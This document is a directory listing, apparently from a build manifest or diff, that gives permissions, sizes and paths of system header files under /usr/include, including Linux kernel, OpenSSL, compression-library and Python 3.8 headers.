+-rw-r--r-- root root 16360 ./usr/include/linux/usb/video.h
+-rw-r--r-- root root 6811 ./usr/include/linux/userfaultfd.h
+-rw-r--r-- root root 1516 ./usr/include/linux/userio.h
+-rw-r--r-- root root 215 ./usr/include/linux/utime.h
+-rw-r--r-- root root 669 ./usr/include/linux/utsname.h
+-rw-r--r-- root root 1356 ./usr/include/linux/uuid.h
+-rw-r--r-- root root 2590 ./usr/include/linux/uvcvideo.h
+-rw-r--r-- root root 4177 ./usr/include/linux/v4l2-common.h
+-rw-r--r-- root root 52061 ./usr/include/linux/v4l2-controls.h
+-rw-r--r-- root root 31562 ./usr/include/linux/v4l2-dv-timings.h
+-rw-r--r-- root root 5101 ./usr/include/linux/v4l2-mediabus.h
+-rw-r--r-- root root 6339 ./usr/include/linux/v4l2-subdev.h
+-rw-r--r-- root root 7257 ./usr/include/linux/vbox_err.h
+-rw-r--r-- root root 8755 ./usr/include/linux/vboxguest.h
+-rw-r--r-- root root 11509 ./usr/include/linux/vbox_vmmdev_types.h
+-rw-r--r-- root root 97 ./usr/include/linux/version.h
+-rw-r--r-- root root 224 ./usr/include/linux/veth.h
+-rw-r--r-- root root 836 ./usr/include/linux/vfio_ccw.h
+-rw-r--r-- root root 33767 ./usr/include/linux/vfio.h
+-rw-r--r-- root root 5069 ./usr/include/linux/vhost.h
+-rw-r--r-- root root 3164 ./usr/include/linux/vhost_types.h
+-rw-r--r-- root root 91377 ./usr/include/linux/videodev2.h
+-rw-r--r-- root root 2041 ./usr/include/linux/virtio_9p.h
+-rw-r--r-- root root 5036 ./usr/include/linux/virtio_balloon.h
+-rw-r--r-- root root 6797 ./usr/include/linux/virtio_blk.h
+-rw-r--r-- root root 3836 ./usr/include/linux/virtio_config.h
+-rw-r--r-- root root 3136 ./usr/include/linux/virtio_console.h
+-rw-r--r-- root root 13874 ./usr/include/linux/virtio_crypto.h
+-rw-r--r-- root root 490 ./usr/include/linux/virtio_fs.h
+-rw-r--r-- root root 8540 ./usr/include/linux/virtio_gpu.h
+-rw-r--r-- root root 2592 ./usr/include/linux/virtio_ids.h
+-rw-r--r-- root root 2506 ./usr/include/linux/virtio_input.h
+-rw-r--r-- root root 3783 ./usr/include/linux/virtio_iommu.h
+-rw-r--r-- root root 4586 ./usr/include/linux/virtio_mmio.h
+-rw-r--r-- root root 10549 ./usr/include/linux/virtio_net.h
+-rw-r--r-- root root 7079 ./usr/include/linux/virtio_pci.h
+-rw-r--r-- root root 639 ./usr/include/linux/virtio_pmem.h
+-rw-r--r-- root root 7430 ./usr/include/linux/virtio_ring.h
+-rw-r--r-- root root 265 ./usr/include/linux/virtio_rng.h
+-rw-r--r-- root root 6035 ./usr/include/linux/virtio_scsi.h
+-rw-r--r-- root root 2153 ./usr/include/linux/virtio_types.h
+-rw-r--r-- root root 3086 ./usr/include/linux/virtio_vsock.h
+-rw-r--r-- root root 455 ./usr/include/linux/vmcore.h
+-rw-r--r-- root root 963 ./usr/include/linux/vm_sockets_diag.h
+-rw-r--r-- root root 5314 ./usr/include/linux/vm_sockets.h
+-rw-r--r-- root root 1885 ./usr/include/linux/vsockmon.h
+-rw-r--r-- root root 3059 ./usr/include/linux/vt.h
+-rw-r--r-- root root 1719 ./usr/include/linux/vtpm_proxy.h
+-rw-r--r-- root root 682 ./usr/include/linux/wait.h
+-rw-r--r-- root root 2335 ./usr/include/linux/watchdog.h
+drwxr-xr-x root root 4096 ./usr/include/linux/wimax
+-rw-r--r-- root root 8371 ./usr/include/linux/wimax.h
+-rw-r--r-- root root 15930 ./usr/include/linux/wimax/i2400m.h
+-rw-r--r-- root root 42713 ./usr/include/linux/wireless.h
+-rw-r--r-- root root 1761 ./usr/include/linux/wmi.h
+-rw-r--r-- root root 3562 ./usr/include/linux/x25.h
+-rw-r--r-- root root 2860 ./usr/include/linux/xattr.h
+-rw-r--r-- root root 1259 ./usr/include/linux/xdp_diag.h
+-rw-r--r-- root root 11737 ./usr/include/linux/xfrm.h
+-rw-r--r-- root root 2976 ./usr/include/linux/xilinx-v4l2-controls.h
+-rw-r--r-- root root 3296 ./usr/include/linux/zorro.h
+-rw-r--r-- root root 29963 ./usr/include/linux/zorro_ids.h
+-rw-r--r-- root root 7675 ./usr/include/locale.h
+drwxr-xr-x root root 4096 ./usr/include/lzma
+-rw-r--r-- root root 24858 ./usr/include/lzma/base.h
+-rw-r--r-- root root 2630 ./usr/include/lzma/bcj.h
+-rw-r--r-- root root 22107 ./usr/include/lzma/block.h
+-rw-r--r-- root root 4255 ./usr/include/lzma/check.h
+-rw-r--r-- root root 24844 ./usr/include/lzma/container.h
+-rw-r--r-- root root 1865 ./usr/include/lzma/delta.h
+-rw-r--r-- root root 16520 ./usr/include/lzma/filter.h
+-rw-r--r-- root root 9866 ./usr/include/lzma.h
+-rw-r--r-- root root 2604 ./usr/include/lzma/hardware.h
+-rw-r--r-- root root 23491 ./usr/include/lzma/index.h
+-rw-r--r-- root root 3914 ./usr/include/lzma/index_hash.h
+-rw-r--r-- root root 14744 ./usr/include/lzma/lzma12.h
+-rw-r--r-- root root 8253 ./usr/include/lzma/stream_flags.h
+-rw-r--r-- root root 3497 ./usr/include/lzma/version.h
+-rw-r--r-- root root 6546 ./usr/include/lzma/vli.h
+drwxr-xr-x root root 4096 ./usr/include/lzo
+-rw-r--r-- root root 2638 ./usr/include/lzo/lzo1a.h
+-rw-r--r-- root root 5387 ./usr/include/lzo/lzo1b.h
+-rw-r--r-- root root 5384 ./usr/include/lzo/lzo1c.h
+-rw-r--r-- root root 3073 ./usr/include/lzo/lzo1f.h
+-rw-r--r-- root root 2634 ./usr/include/lzo/lzo1.h
+-rw-r--r-- root root 5873 ./usr/include/lzo/lzo1x.h
+-rw-r--r-- root root 4641 ./usr/include/lzo/lzo1y.h
+-rw-r--r-- root root 3771 ./usr/include/lzo/lzo1z.h
+-rw-r--r-- root root 2525 ./usr/include/lzo/lzo2a.h
+-rw-r--r-- root root 5566 ./usr/include/lzo/lzo_asm.h
+-rw-r--r-- root root 16006 ./usr/include/lzo/lzoconf.h
+-rw-r--r-- root root 127289 ./usr/include/lzo/lzodefs.h
+-rw-r--r-- root root 1823 ./usr/include/lzo/lzoutil.h
+-rw-r--r-- root root 6186 ./usr/include/malloc.h
+-rw-r--r-- root root 46404 ./usr/include/math.h
+-rw-r--r-- root root 2435 ./usr/include/mcheck.h
+-rw-r--r-- root root 956 ./usr/include/memory.h
+-rw-r--r-- root root 12275 ./usr/include/menu.h
+drwxr-xr-x root root 4096 ./usr/include/misc
+-rw-r--r-- root root 3936 ./usr/include/misc/cxl.h
+-rw-r--r-- root root 953 ./usr/include/misc/fastrpc.h
+-rw-r--r-- root root 19004 ./usr/include/misc/habanalabs.h
+-rw-r--r-- root root 1947 ./usr/include/misc/ocxl.h
+-rw-r--r-- root root 12341 ./usr/include/misc/xilinx_sdfec.h
+-rw-r--r-- root root 3359 ./usr/include/mntent.h
+-rw-r--r-- root root 1804 ./usr/include/monetary.h
+-rw-r--r-- root root 3760 ./usr/include/mqueue.h
+drwxr-xr-x root root 4096 ./usr/include/mtd
+-rw-r--r-- root root 1644 ./usr/include/mtd/inftl-user.h
+-rw-r--r-- root root 9732 ./usr/include/mtd/mtd-abi.h
+-rw-r--r-- root root 1242 ./usr/include/mtd/mtd-user.h
+-rw-r--r-- root root 2116 ./usr/include/mtd/nftl-user.h
+-rw-r--r-- root root 18220 ./usr/include/mtd/ubi-user.h
+-rw-r--r-- root root 4240 ./usr/include/nc_tparm.h
+-rw-r--r-- root root 4522 ./usr/include/ncurses_dll.h
+lrwxrwxrwx root root 8 ./usr/include/ncurses.h -> curses.h
+-rw-r--r-- root root 2454 ./usr/include/ndbm.h
+drwxr-xr-x root root 4096 ./usr/include/net
+drwxr-xr-x root root 4096 ./usr/include/netash
+-rw-r--r-- root root 1363 ./usr/include/netash/ash.h
+drwxr-xr-x root root 4096 ./usr/include/netatalk
+-rw-r--r-- root root 1029 ./usr/include/netatalk/at.h
+drwxr-xr-x root root 4096 ./usr/include/netax25
+-rw-r--r-- root root 4810 ./usr/include/netax25/ax25.h
+-rw-r--r-- root root 28100 ./usr/include/netdb.h
+drwxr-xr-x root root 4096 ./usr/include/neteconet
+-rw-r--r-- root root 1668 ./usr/include/neteconet/ec.h
+-rw-r--r-- root root 3136 ./usr/include/net/ethernet.h
+-rw-r--r-- root root 7132 ./usr/include/net/if_arp.h
+-rw-r--r-- root root 6982 ./usr/include/net/if.h
+-rw-r--r-- root root 1262 ./usr/include/net/if_packet.h
+-rw-r--r-- root root 6714 ./usr/include/net/if_ppp.h
+-rw-r--r-- root root 1625 ./usr/include/net/if_shaper.h
+-rw-r--r-- root root 933 ./usr/include/net/if_slip.h
+drwxr-xr-x root root 4096 ./usr/include/netinet
+-rw-r--r-- root root 1985 ./usr/include/netinet/ether.h
+-rw-r--r-- root root 11515 ./usr/include/netinet/icmp6.h
+-rw-r--r-- root root 3976 ./usr/include/netinet/if_ether.h
+-rw-r--r-- root root 1186 ./usr/include/netinet/if_fddi.h
+-rw-r--r-- root root 3692 ./usr/include/netinet/if_tr.h
+-rw-r--r-- root root 4663 ./usr/include/netinet/igmp.h
+-rw-r--r-- root root 21702 ./usr/include/netinet/in.h
+-rw-r--r-- root root 1494 ./usr/include/netinet/in_systm.h
+-rw-r--r-- root root 5394 ./usr/include/netinet/ip6.h
+-rw-r--r-- root root 9436 ./usr/include/netinet/ip.h
+-rw-r--r-- root root 10131 ./usr/include/netinet/ip_icmp.h
+-rw-r--r-- root root 10490 ./usr/include/netinet/tcp.h
+-rw-r--r-- root root 3774 ./usr/include/netinet/udp.h
+drwxr-xr-x root root 4096 ./usr/include/netipx
+-rw-r--r-- root root 2900 ./usr/include/netipx/ipx.h
+drwxr-xr-x root root 4096 ./usr/include/netiucv
+-rw-r--r-- root root 1594 ./usr/include/netiucv/iucv.h
+drwxr-xr-x root root 4096 ./usr/include/netpacket
+-rw-r--r-- root root 2438 ./usr/include/netpacket/packet.h
+-rw-r--r-- root root 28 ./usr/include/net/ppp-comp.h
+-rw-r--r-- root root 162 ./usr/include/net/ppp_defs.h
+drwxr-xr-x root root 4096 ./usr/include/netrom
+-rw-r--r-- root root 2226 ./usr/include/netrom/netrom.h
+drwxr-xr-x root root 4096 ./usr/include/netrose
+-rw-r--r-- root root 3184 ./usr/include/netrose/rose.h
+-rw-r--r-- root root 4704 ./usr/include/net/route.h
+drwxr-xr-x root root 4096 ./usr/include/nfs
+-rw-r--r-- root root 23 ./usr/include/nfs/nfs.h
+-rw-r--r-- root root 1601 ./usr/include/nlist.h
+-rw-r--r-- root root 1753 ./usr/include/nl_types.h
+-rw-r--r-- root root 1879 ./usr/include/nss.h
+-rw-r--r-- root root 21307 ./usr/include/obstack.h
+drwxr-xr-x root root 4096 ./usr/include/omap
+-rw-r--r-- root root 4843 ./usr/include/omap/omap_drm.h
+drwxr-xr-x root root 4096 ./usr/include/openssl
+-rw-r--r-- root root 3349 ./usr/include/openssl/aes.h
+-rw-r--r-- root root 14599 ./usr/include/openssl/asn1err.h
+-rw-r--r-- root root 33627 ./usr/include/openssl/asn1.h
+-rw-r--r-- root root 395 ./usr/include/openssl/asn1_mac.h
+-rw-r--r-- root root 32940 ./usr/include/openssl/asn1t.h
+-rw-r--r-- root root 1326 ./usr/include/openssl/asyncerr.h
+-rw-r--r-- root root 2398 ./usr/include/openssl/async.h
+-rw-r--r-- root root 6400 ./usr/include/openssl/bioerr.h
+-rw-r--r-- root root 34907 ./usr/include/openssl/bio.h
+-rw-r--r-- root root 1847 ./usr/include/openssl/blowfish.h
+-rw-r--r-- root root 4907 ./usr/include/openssl/bnerr.h
+-rw-r--r-- root root 22135 ./usr/include/openssl/bn.h
+-rw-r--r-- root root 820 ./usr/include/openssl/buffererr.h
+-rw-r--r-- root root 1600 ./usr/include/openssl/buffer.h
+-rw-r--r-- root root 3179 ./usr/include/openssl/camellia.h
+-rw-r--r-- root root 1674 ./usr/include/openssl/cast.h
+-rw-r--r-- root root 1064 ./usr/include/openssl/cmac.h
+-rw-r--r-- root root 11160 ./usr/include/openssl/cmserr.h
+-rw-r--r-- root root 16379 ./usr/include/openssl/cms.h
+-rw-r--r-- root root 1212 ./usr/include/openssl/comperr.h
+-rw-r--r-- root root 1328 ./usr/include/openssl/comp.h
+-rw-r--r-- root root 1300 ./usr/include/openssl/conf_api.h
+-rw-r--r-- root root 3429 ./usr/include/openssl/conferr.h
+-rw-r--r-- root root 5601 ./usr/include/openssl/conf.h
+-rw-r--r-- root root 2261 ./usr/include/openssl/cryptoerr.h
+-rw-r--r-- root root 17239 ./usr/include/openssl/crypto.h
+-rw-r--r-- root root 3470 ./usr/include/openssl/cterr.h
+-rw-r--r-- root root 15872 ./usr/include/openssl/ct.h
+-rw-r--r-- root root 7627 ./usr/include/openssl/des.h
+-rw-r--r-- root root 3974 ./usr/include/openssl/dherr.h
+-rw-r--r-- root root 13403 ./usr/include/openssl/dh.h
+-rw-r--r-- root root 2972 ./usr/include/openssl/dsaerr.h
+-rw-r--r-- root root 10051 ./usr/include/openssl/dsa.h
+-rw-r--r-- root root 1578 ./usr/include/openssl/dtls1.h
+-rw-r--r-- root root 924 ./usr/include/openssl/ebcdic.h
+-rw-r--r-- root root 358 ./usr/include/openssl/ecdh.h
+-rw-r--r-- root root 358 ./usr/include/openssl/ecdsa.h
+-rw-r--r-- root root 15758 ./usr/include/openssl/ecerr.h
+-rw-r--r-- root root 63596 ./usr/include/openssl/ec.h
+-rw-r--r-- root root 5447 ./usr/include/openssl/engineerr.h
+-rw-r--r-- root root 34661 ./usr/include/openssl/engine.h
+-rw-r--r-- root root 8888 ./usr/include/openssl/e_os2.h
+-rw-r--r-- root root 11269 ./usr/include/openssl/err.h
+-rw-r--r-- root root 11427 ./usr/include/openssl/evperr.h
+-rw-r--r-- root root 76828 ./usr/include/openssl/evp.h
+-rw-r--r-- root root 1591 ./usr/include/openssl/hmac.h
+-rw-r--r-- root root 2099 ./usr/include/openssl/idea.h
+-rw-r--r-- root root 2122 ./usr/include/openssl/kdferr.h
+-rw-r--r-- root root 4326 ./usr/include/openssl/kdf.h
+-rw-r--r-- root root 9271 ./usr/include/openssl/lhash.h
+-rw-r--r-- root root 1054 ./usr/include/openssl/md2.h
+-rw-r--r-- root root 1322 ./usr/include/openssl/md4.h
+-rw-r--r-- root root 1320 ./usr/include/openssl/md5.h
+-rw-r--r-- root root 1053 ./usr/include/openssl/mdc2.h
+-rw-r--r-- root root 10478 ./usr/include/openssl/modes.h
+-rw-r--r-- root root 1316 ./usr/include/openssl/objectserr.h
+-rw-r--r-- root root 6633 ./usr/include/openssl/objects.h
+-rw-r--r-- root root 217522 ./usr/include/openssl/obj_mac.h
+-rw-r--r-- root root 3356 ./usr/include/openssl/ocsperr.h
+-rw-r--r-- root root 15305 ./usr/include/openssl/ocsp.h
+-rw-r--r-- root root 4520 ./usr/include/openssl/opensslconf-64.h
+-rw-r--r-- root root 564 ./usr/include/openssl/opensslconf.h
+-rw-r--r-- root root 4102 ./usr/include/openssl/opensslv.h
+-rw-r--r-- root root 6266 ./usr/include/openssl/ossl_typ.h
+-rw-r--r-- root root 415 ./usr/include/openssl/pem2.h
+-rw-r--r-- root root 5098 ./usr/include/openssl/pemerr.h
+-rw-r--r-- root root 15468 ./usr/include/openssl/pem.h
+-rw-r--r-- root root 3749 ./usr/include/openssl/pkcs12err.h
+-rw-r--r-- root root 9871 ./usr/include/openssl/pkcs12.h
+-rw-r--r-- root root 5110 ./usr/include/openssl/pkcs7err.h
+-rw-r--r-- root root 11590 ./usr/include/openssl/pkcs7.h
+-rw-r--r-- root root 4763 ./usr/include/openssl/rand_drbg.h
+-rw-r--r-- root root 4633 ./usr/include/openssl/randerr.h
+-rw-r--r-- root root 2213 ./usr/include/openssl/rand.h
+-rw-r--r-- root root 1534 ./usr/include/openssl/rc2.h
+-rw-r--r-- root root 825 ./usr/include/openssl/rc4.h
+-rw-r--r-- root root 1988 ./usr/include/openssl/rc5.h
+-rw-r--r-- root root 1243 ./usr/include/openssl/ripemd.h
+-rw-r--r-- root root 9075 ./usr/include/openssl/rsaerr.h
+-rw-r--r-- root root 22202 ./usr/include/openssl/rsa.h
+-rw-r--r-- root root 8139 ./usr/include/openssl/safestack.h
+-rw-r--r-- root root 3479 ./usr/include/openssl/seed.h
+-rw-r--r-- root root 3831 ./usr/include/openssl/sha.h
+-rw-r--r-- root root 3827 ./usr/include/openssl/srp.h
+-rw-r--r-- root root 1316 ./usr/include/openssl/srtp.h
+-rw-r--r-- root root 542 ./usr/include/openssl/ssl2.h
+-rw-r--r-- root root 14576 ./usr/include/openssl/ssl3.h
+-rw-r--r-- root root 46676 ./usr/include/openssl/sslerr.h
+-rw-r--r-- root root 111253 ./usr/include/openssl/ssl.h
+-rw-r--r-- root root 3095 ./usr/include/openssl/stack.h
+-rw-r--r-- root root 4399 ./usr/include/openssl/storeerr.h
+-rw-r--r-- root root 11199 ./usr/include/openssl/store.h
+-rw-r--r-- root root 1311 ./usr/include/openssl/symhacks.h
+-rw-r--r-- root root 72490 ./usr/include/openssl/tls1.h
+-rw-r--r-- root root 6746 ./usr/include/openssl/tserr.h
+-rw-r--r-- root root 22429 ./usr/include/openssl/ts.h
+-rw-r--r-- root root 1666 ./usr/include/openssl/txt_db.h
+-rw-r--r-- root root 2737 ./usr/include/openssl/uierr.h
+-rw-r--r-- root root 16052 ./usr/include/openssl/ui.h
+-rw-r--r-- root root 1377 ./usr/include/openssl/whrlpool.h
+-rw-r--r-- root root 6777 ./usr/include/openssl/x509err.h
+-rw-r--r-- root root 43123 ./usr/include/openssl/x509.h
+-rw-r--r-- root root 8777 ./usr/include/openssl/x509v3err.h
+-rw-r--r-- root root 33377 ./usr/include/openssl/x509v3.h
+-rw-r--r-- root root 32179 ./usr/include/openssl/x509_vfy.h
+-rw-r--r-- root root 4201 ./usr/include/panel.h
+-rw-r--r-- root root 2977 ./usr/include/paths.h
+-rw-r--r-- root root 15456 ./usr/include/pciaccess.h
+-rw-r--r-- root root 6783 ./usr/include/pcrecpparg.h
+-rw-r--r-- root root 26529 ./usr/include/pcrecpp.h
+-rw-r--r-- root root 31718 ./usr/include/pcre.h
+-rw-r--r-- root root 5631 ./usr/include/pcreposix.h
+-rw-r--r-- root root 6600 ./usr/include/pcre_scanner.h
+-rw-r--r-- root root 6312 ./usr/include/pcre_stringpiece.h
+drwxr-xr-x root root 4096 ./usr/include/pixman-1
+-rw-r--r-- root root 47735 ./usr/include/pixman-1/pixman.h
+-rw-r--r-- root root 1786 ./usr/include/pixman-1/pixman-version.h
+-rw-r--r-- root root 15029 ./usr/include/plugin-api.h
+lrwxrwxrwx root root 18 ./usr/include/pngconf.h -> libpng16/pngconf.h
+lrwxrwxrwx root root 14 ./usr/include/png.h -> libpng16/png.h
+lrwxrwxrwx root root 21 ./usr/include/pnglibconf.h -> libpng16/pnglibconf.h
+-rw-r--r-- root root 22 ./usr/include/poll.h
+-rw-r--r-- root root 6801 ./usr/include/printf.h
+drwxr-xr-x root root 4096 ./usr/include/proc
+-rw-r--r-- root root 509 ./usr/include/proc/alloc.h
+-rw-r--r-- root root 457 ./usr/include/proc/devname.h
+-rw-r--r-- root root 913 ./usr/include/proc/escape.h
+-rw-r--r-- root root 1068 ./usr/include/proc/numa.h
+-rw-r--r-- root root 2936 ./usr/include/proc/procps.h
+-rw-r--r-- root root 305 ./usr/include/proc/pwcache.h
+-rw-r--r-- root root 15204 ./usr/include/proc/readproc.h
+-rw-r--r-- root root 3477 ./usr/include/proc_service.h
+-rw-r--r-- root root 1000 ./usr/include/proc/sig.h
+-rw-r--r-- root root 1797 ./usr/include/proc/slab.h
+-rw-r--r-- root root 4820 ./usr/include/proc/sysinfo.h
+-rw-r--r-- root root 1480 ./usr/include/proc/version.h
+-rw-r--r-- root root 160 ./usr/include/proc/wchan.h
+-rw-r--r-- root root 202 ./usr/include/proc/whattime.h
+drwxr-xr-x root root 4096 ./usr/include/protocols
+-rw-r--r-- root root 3844 ./usr/include/protocols/routed.h
+-rw-r--r-- root root 2567 ./usr/include/protocols/rwhod.h
+-rw-r--r-- root root 4826 ./usr/include/protocols/talkd.h
+-rw-r--r-- root root 3881 ./usr/include/protocols/timed.h
+-rw-r--r-- root root 41701 ./usr/include/pthread.h
+-rw-r--r-- root root 1570 ./usr/include/pty.h
+-rw-r--r-- root root 6159 ./usr/include/pwd.h
+drwxr-xr-x root root 4096 ./usr/include/pycairo
+-rw-r--r-- root root 9152 ./usr/include/pycairo/py3cairo.h
+drwxr-xr-x root root 4096 ./usr/include/pygobject-3.0
+-rw-r--r-- root root 24983 ./usr/include/pygobject-3.0/pygobject.h
+drwxr-xr-x root root 4096 ./usr/include/python3.8
+-rw-r--r-- root root 30286 ./usr/include/python3.8/abstract.h
+-rw-r--r-- root root 1229 ./usr/include/python3.8/asdl.h
+-rw-r--r-- root root 948 ./usr/include/python3.8/ast.h
+-rw-r--r-- root root 468 ./usr/include/python3.8/bitset.h
+-rw-r--r-- root root 264 ./usr/include/python3.8/bltinmodule.h
+-rw-r--r-- root root 886 ./usr/include/python3.8/boolobject.h
+-rw-r--r-- root root 2114 ./usr/include/python3.8/bytearrayobject.h
+-rw-r--r-- root root 3301 ./usr/include/python3.8/bytes_methods.h
+-rw-r--r-- root root 8493 ./usr/include/python3.8/bytesobject.h
+-rw-r--r-- root root 713 ./usr/include/python3.8/cellobject.h
+-rw-r--r-- root root 8366 ./usr/include/python3.8/ceval.h
+-rw-r--r-- root root 1710 ./usr/include/python3.8/classobject.h
+-rw-r--r-- root root 6793 ./usr/include/python3.8/codecs.h
+-rw-r--r-- root root 7178 ./usr/include/python3.8/code.h
+-rw-r--r-- root root 3582 ./usr/include/python3.8/compile.h
+-rw-r--r-- root root 1807 ./usr/include/python3.8/complexobject.h
+-rw-r--r-- root root 2014 ./usr/include/python3.8/context.h
+drwxr-xr-x root root 4096 ./usr/include/python3.8/cpython
+-rw-r--r-- root root 12295 ./usr/include/python3.8/cpython/abstract.h
+-rw-r--r-- root root 3845 ./usr/include/python3.8/cpython/dictobject.h
+-rw-r--r-- root root 951 ./usr/include/python3.8/cpython/fileobject.h
+-rw-r--r-- root root 16028 ./usr/include/python3.8/cpython/initconfig.h
+-rw-r--r-- root root 456 ./usr/include/python3.8/cpython/interpreteridobject.h
+-rw-r--r-- root root 15691 ./usr/include/python3.8/cpython/object.h
+-rw-r--r-- root root 3600 ./usr/include/python3.8/cpython/objimpl.h
+-rw-r--r-- root root 4607 ./usr/include/python3.8/cpython/pyerrors.h
+-rw-r--r-- root root 2263 ./usr/include/python3.8/cpython/pylifecycle.h
+-rw-r--r-- root root 3511 ./usr/include/python3.8/cpython/pymem.h
+-rw-r--r-- root root 9810 ./usr/include/python3.8/cpython/pystate.h
+-rw-r--r-- root root 547 ./usr/include/python3.8/cpython/sysmodule.h
+-rw-r--r-- root root 473 ./usr/include/python3.8/cpython/traceback.h
+-rw-r--r-- root root 1036 ./usr/include/python3.8/cpython/tupleobject.h
+-rw-r--r-- root root 46299 ./usr/include/python3.8/cpython/unicodeobject.h
+-rw-r--r-- root root 9260 ./usr/include/python3.8/datetime.h
+-rw-r--r-- root root 3019 ./usr/include/python3.8/descrobject.h
+-rw-r--r-- root root 3716 ./usr/include/python3.8/dictobject.h
+-rw-r--r-- root root 458 ./usr/include/python3.8/dtoa.h
+-rw-r--r-- root root 22469 ./usr/include/python3.8/dynamic_annotations.h
+-rw-r--r-- root root 253 ./usr/include/python3.8/enumobject.h
+-rw-r--r-- root root 1695 ./usr/include/python3.8/errcode.h
+-rw-r--r-- root root 1209 ./usr/include/python3.8/eval.h
+-rw-r--r-- root root 1342 ./usr/include/python3.8/fileobject.h
+-rw-r--r-- root root 4352 ./usr/include/python3.8/fileutils.h
+-rw-r--r-- root root 4794 ./usr/include/python3.8/floatobject.h
+-rw-r--r-- root root 3317 ./usr/include/python3.8/frameobject.h
+-rw-r--r-- root root 4200 ./usr/include/python3.8/funcobject.h
+-rw-r--r-- root root 3720 ./usr/include/python3.8/genobject.h
+-rw-r--r-- root root 2118 ./usr/include/python3.8/graminit.h
+-rw-r--r-- root root 1821 ./usr/include/python3.8/grammar.h
+-rw-r--r-- root root 4926 ./usr/include/python3.8/import.h
+drwxr-xr-x root root 4096 ./usr/include/python3.8/internal
+-rw-r--r-- root root 1126 ./usr/include/python3.8/internal/pycore_accu.h
+-rw-r--r-- root root 16944 ./usr/include/python3.8/internal/pycore_atomic.h
+-rw-r--r-- root root 966 ./usr/include/python3.8/internal/pycore_ceval.h
+-rw-r--r-- root root 542 ./usr/include/python3.8/internal/pycore_code.h
+-rw-r--r-- root root 2809 ./usr/include/python3.8/internal/pycore_condvar.h
+-rw-r--r-- root root 779 ./usr/include/python3.8/internal/pycore_context.h
+-rw-r--r-- root root 1254 ./usr/include/python3.8/internal/pycore_fileutils.h
+-rw-r--r-- root root 490 ./usr/include/python3.8/internal/pycore_getopt.h
+-rw-r--r-- root root 1520 ./usr/include/python3.8/internal/pycore_gil.h
+-rw-r--r-- root root 3128 ./usr/include/python3.8/internal/pycore_hamt.h
+-rw-r--r-- root root 5168 ./usr/include/python3.8/internal/pycore_initconfig.h
+-rw-r--r-- root root 2896 ./usr/include/python3.8/internal/pycore_object.h
+-rw-r--r-- root root 2037 ./usr/include/python3.8/internal/pycore_pathconfig.h
+-rw-r--r-- root root 1329 ./usr/include/python3.8/internal/pycore_pyerrors.h
+-rw-r--r-- root root 206 ./usr/include/python3.8/internal/pycore_pyhash.h
+-rw-r--r-- root root 3758 ./usr/include/python3.8/internal/pycore_pylifecycle.h
+-rw-r--r-- root root 8217 ./usr/include/python3.8/internal/pycore_pymem.h
+-rw-r--r-- root root 9494 ./usr/include/python3.8/internal/pycore_pystate.h
+-rw-r--r-- root root 3076 ./usr/include/python3.8/internal/pycore_traceback.h
+-rw-r--r-- root root 418 ./usr/include/python3.8/internal/pycore_tupleobject.h
+-rw-r--r-- root root 591 ./usr/include/python3.8/internal/pycore_warnings.h
+-rw-r--r-- root root 334 ./usr/include/python3.8/interpreteridobject.h
+-rw-r--r-- root root 861 ./usr/include/python3.8/intrcheck.h
+-rw-r--r-- root root 567 ./usr/include/python3.8/iterobject.h
+-rw-r--r-- root root 2927 ./usr/include/python3.8/listobject.h
+-rw-r--r-- root root 3799 ./usr/include/python3.8/longintrepr.h
+-rw-r--r-- root root 9520 ./usr/include/python3.8/longobject.h
+-rw-r--r-- root root 803 ./usr/include/python3.8/marshal.h
+-rw-r--r-- root root 2765 ./usr/include/python3.8/memoryobject.h
+-rw-r--r-- root root 4406 ./usr/include/python3.8/methodobject.h
+-rw-r--r-- root root 9591 ./usr/include/python3.8/modsupport.h
+-rw-r--r-- root root 2362 ./usr/include/python3.8/moduleobject.h
+-rw-r--r-- root root 349 ./usr/include/python3.8/namespaceobject.h
+-rw-r--r-- root root 1328 ./usr/include/python3.8/node.h
+-rw-r--r-- root root 29599 ./usr/include/python3.8/object.h
+-rw-r--r-- root root 10537 ./usr/include/python3.8/objimpl.h
+-rw-r--r-- root root 1300 ./usr/include/python3.8/odictobject.h
+-rw-r--r-- root root 5164 ./usr/include/python3.8/opcode.h
+-rw-r--r-- root root 737 ./usr/include/python3.8/osdefs.h
+-rw-r--r-- root root 291 ./usr/include/python3.8/osmodule.h
+-rw-r--r-- root root 2958 ./usr/include/python3.8/parsetok.h
+-rw-r--r-- root root 1297 ./usr/include/python3.8/patchlevel.h
+-rw-r--r-- root root 847 ./usr/include/python3.8/picklebufobject.h
+-rw-r--r-- root root 2744 ./usr/include/python3.8/pyarena.h
+-rw-r--r-- root root 1726 ./usr/include/python3.8/pycapsule.h
+-rw-r--r-- root root 47511 ./usr/include/python3.8/pyconfig-64.h
+-rw-r--r-- root root 560 ./usr/include/python3.8/pyconfig.h
+-rw-r--r-- root root 1320 ./usr/include/python3.8/pyctype.h
+-rw-r--r-- root root 2477 ./usr/include/python3.8/py_curses.h
+-rw-r--r-- root root 1214 ./usr/include/python3.8/pydebug.h
+-rw-r--r-- root root 2413 ./usr/include/python3.8/pydtrace.h
+-rw-r--r-- root root 12786 ./usr/include/python3.8/pyerrors.h
+-rw-r--r-- root root 2450 ./usr/include/python3.8/pyexpat.h
+-rw-r--r-- root root 341 ./usr/include/python3.8/pyfpe.h
+-rw-r--r-- root root 4140 ./usr/include/python3.8/pyhash.h
+-rw-r--r-- root root 2081 ./usr/include/python3.8/pylifecycle.h
+-rw-r--r-- root root 2989 ./usr/include/python3.8/pymacconfig.h
+-rw-r--r-- root root 3778 ./usr/include/python3.8/pymacro.h
+-rw-r--r-- root root 8312 ./usr/include/python3.8/pymath.h
+-rw-r--r-- root root 5406 ./usr/include/python3.8/pymem.h
+-rw-r--r-- root root 30221 ./usr/include/python3.8/pyport.h
+-rw-r--r-- root root 4686 ./usr/include/python3.8/pystate.h
+-rw-r--r-- root root 436 ./usr/include/python3.8/pystrcmp.h
+-rw-r--r-- root root 849 ./usr/include/python3.8/pystrhex.h
+-rw-r--r-- root root 1483 ./usr/include/python3.8/pystrtod.h
+-rw-r--r-- root root 26491 ./usr/include/python3.8/Python-ast.h
+-rw-r--r-- root root 3615 ./usr/include/python3.8/Python.h
+-rw-r--r-- root root 7688 ./usr/include/python3.8/pythonrun.h
+-rw-r--r-- root root 5660 ./usr/include/python3.8/pythread.h
+-rw-r--r-- root root 8926 ./usr/include/python3.8/pytime.h
+-rw-r--r-- root root 629 ./usr/include/python3.8/rangeobject.h
+-rw-r--r-- root root 3362 ./usr/include/python3.8/setobject.h
+-rw-r--r-- root root 2517 ./usr/include/python3.8/sliceobject.h
